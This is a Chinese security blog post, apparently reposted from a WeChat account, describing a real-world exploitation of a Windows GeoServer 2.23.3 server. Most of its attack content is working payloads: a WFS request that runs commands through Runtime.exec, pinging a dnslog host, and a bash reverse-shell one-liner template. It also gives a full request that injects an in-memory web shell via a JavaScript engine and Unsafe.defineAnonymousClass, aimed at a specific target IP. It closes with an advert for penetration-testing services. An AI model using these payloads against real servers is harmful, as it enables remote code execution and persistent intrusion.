实战攻防win下的geoserver利用

admin 2024年7月15日10:42:06评论37 views字数 2080阅读6分56秒阅读模式
前言

网上都是linux的环境,前一阵子遇到了一个windows的目标.

不是星标不推送文章了。

师傅也不想吧~

快把极梦C设置成星标吧。

起因
实战中遇到一个这个东西,但是测试半天发现是windows系统,
奇怪的是网上没有关于windwos 的任何复现.
没办法自己上手.
过程

版本 2.23.3
https://geoserver.org/release/2.23.3/

实战攻防win下的geoserver利用

使用网上的poc
POST /geoserver/wfs HTTP/1.1Host: 20.10.120.82:8010<wfs:GetPropertyValue service='WFS' version='2.0.0'          xmlns:topp='http://www.openplans.org/topp'          xmlns:fes='http://www.opengis.net/fes/2.0'          xmlns:wfs='http://www.opengis.net/wfs/2.0'          valueReference='exec(java.lang.Runtime.getRuntime(),"ping b8893f28.log.dnslog.store")'>          <wfs:Query typeNames='topp:states'/> </wfs:GetPropertyValue> 

实战攻防win下的geoserver利用

确实可以回显.

实战攻防win下的geoserver利用

如果遇到这个问题,删除headed头内容只留下host即可.

实战攻防win下的geoserver利用

接下来进行命令执行,linux可以base反弹.
exec(java.lang.Runtime.getRuntime(),'base反弹') 说明是可以正常执行.
但是我发现windwos 无法执行命令
为了防止错过,我还特意开了一个文件监控的脚本

实战攻防win下的geoserver利用

尝试 echo%201>1.txt,会报错

实战攻防win下的geoserver利用

然后我问了ai,其中有一个ai说有特殊符号

实战攻防win下的geoserver利用

我看了网上的base反弹.寻思他们也都有特殊字符来着,
exec(java.lang.Runtime.getRuntime(),'bash -c {echo,Q1IDA+JjE=}|{base64,-d}|{bash,-i}')
而且都成功反弹了.
后续无果.
内存马
无法执行命令,就回到内存马的路子.幸运的是在windwos 内存马是可以成功打入
POST /geoserver/wfs HTTP/1.1Host: 20.10.120.82:8010Content-Length: 18047<wfs:GetPropertyValue service='WFS' version='2.0.0'xmlns:topp='http://www.openplans.org/topp'xmlns:fes='http://www.opengis.net/fes/2.0'xmlns:wfs='http://www.opengis.net/wfs/2.0'>    <wfs:Query typeNames='sf:archsites'/>    <wfs:valueReference>        eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'            var str="";            var bt;            try {                bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);            } catch (e) {                bt = java.util.Base64.getDecoder().decode(str);            }            var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");            theUnsafe.setAccessible(true);            unsafe = theUnsafe.get(null);            unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();        ')    </wfs:valueReference></wfs:GetPropertyValue>

实战攻防win下的geoserver利用

参考文章
https://mp.weixin.qq.com/s/beRJ8-HOMJbA43jYMMS0Pg
然后去目标站点就好了

承接红蓝对抗,安全众测,安全培训,SRC培训,代码审计,渗透测试,应急响应,免杀等.

(安全可靠,排名稳定,战绩可查.)

星梦计划招生ing中.实战src的全方位讲解.

原文始发于微信公众号(极梦C):实战攻防win下的geoserver利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日10:42:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战攻防win下的geoserver利用https://cn-sec.com/archives/2955005.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息